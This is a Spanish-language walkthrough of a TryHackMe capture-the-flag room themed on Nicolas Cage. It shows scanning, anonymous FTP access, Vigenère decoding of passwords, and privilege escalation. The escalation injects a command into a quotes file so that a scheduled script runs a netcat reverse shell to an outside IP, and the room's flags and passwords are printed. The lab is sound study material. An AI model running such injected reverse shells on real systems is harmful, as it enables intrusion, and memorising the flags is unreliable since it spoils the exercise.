Iniciamos este CTF de Tryhackme basado en Nicholas Cage y en la historia de qué tenemos que averiguar qué trama su agente, o algo así.

Como siempre, empezamos por un escaneo con Rustscan.

rustscan -b 50 -a IP_Objetivo -- -A

Abiertos los puertos 22 (ssh), 21 (ftp), 80 (http).

Busco directorios ocultos con Gobuster:

gobuster fir -u IP_Objetivo -w /usr/share/wordlists/dirb/common

Hay varios directorios /contracts (con un archivo de 0 bytes que se llama directory not in use) /scripts con varios guiones surrealistas que no parecen revelar nada especial /images con las imágenes y /html que está vacío.

Las imágenes no tienen nada si no les pones contraseña.

Pruebo a asaltar con fuerza bruta la posible contraseña usando stegseek

stegseek -sf imagen.jpg -wl /usr/share/wordlists/rockyou.txt

Y no parece haber nada en las imágenes.

La web no dice mucho, el nombre del hijo, Weston, y que el agente está en Hawai y no coge las llamadas. El ftp del puerto 21 permite entrar de manera anónima y hay un archivo llamado dad_tasks, me lo voy a traer a mi máquina.

ftp IP_Objetivo # user anonymous, sin contraseña
get dad_tasks

Cuando lo abro, parece codificado en Base64, veamos si es así con un decodificador online cualquiera.

Aparentemente lo es, pero está encriptado con algo, porque el texto no se entiende, probemos a descifrar con Rot13, al fin y al cabo, es lo que ponía en las etiquetas de la habitación.

Sin embargo, no lo es, y si vamos rotando diferentes posiciones (de 1 a 25), no parece que encontremos nada coherente en ninguna. Algo mosqueante es que ninguna palabra se repite, así que no puede ser nada con una rotación de sitios numérica, tiene que haber alguna clave.

Tras un millón de intentos, es codificación Vigenère (y sí, lo he tenido que mirar). En este sitio puedes romper el mensaje por fuerza bruta.

Y dice así:

Dads Tasks - The RAGE…THE CAGE… THE MAN… THE LEGEND!!!! One. Revamp the website Two. Put more quotes in script Three. Buy bee pesticide Four. Help him with acting lessons Five. Teach Dad what “information security” is. In case I forget…. Mydadisghostrideraintthatcoolnocausehesonfirejokes

La última parte es la contraseña de Weston.

Mydadisghostrideraintthatcoolnocausehesonfirejokes

Entramos por ssh:

ssh weston@IP_Objetivo

Conseguimos entrar y en el directorio /home/weston no hay nada.

Aparece un mensaje:

Broadcast message from cage@national-treasure (somewhere) (Fri May 28 08:00:01 What’s in the bag? A shark or something? — The Wicker Man

Van apareciendo mensajes de esos cada dos por tres con citas de las películas de Cage.

  • Echando un vistazo a /etc/passwd vemos que hay otro usuario cage.
  • El usuario weston puede ejecutar como root el archivo /usr/bin/bees, voy a echarle un vistazo.
  • Es otro mensaje que se envía con la instrucción wall, que está llamada sin ruta. Pertenece a root, poco puedo hacer.

Busco los archivos que pertenecen al otro usuario cage:

find / -type f -user cage 2>/dev/null

Aparecen:

/opt/.dads_scripts/spread_the_quotes.py /opt/.dads_scripts/.files/.quotes

Echemos un vistazo al script de python y, básicamente, realiza una llamada de sistema al comando wall para que imprima una de las líneas del archivo .quotes.

No puedo modificar el script, pero sí puedo con .quotes, de modo que lo que hago es encadenar ese comando wall con otro que me genere una shell inversa, usando el operador «;» para separar.

Así que borro lo que hay en el archivo y coloco solo una línea que sea:

Mensaje; rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.0.0.1 4242 >/tmp/f

Importante, he probado shells inversas más sencillas que tratan de enviar bash por dispositivo tcp, pero no han funcionado, esa es la única que sí lo ha hecho.

Es importante probar varias fórmulas de shell inversa.

Estabilizo la shell que he conseguido.

script -qc /bin/bash /dev/null

Hay un archivo Super_Duper_Checklist que leo para obtener la bandera de usuario.

THM{M37AL_0R_P3N_T35T1NG}

También hay un directorio con emails que procedo a leer. Al parecer el agente les ha montado el servidor, es el usuario root y hay una palabra interesante:

haiinspsyanileph

Si usamos de nuevo el código Vigenère con la palabra clave face, a la que hace referencia en los correos, podemos descifrar eso.

cageisnotalegend

Probamos si es la contraseña de root cambiando a ese usuario:

su root

Y funciona.

La bandera de administrador está en los emails que hay en su carpeta /root

THM{8R1NG_D0WN_7H3_C493_L0N9_L1V3_M3}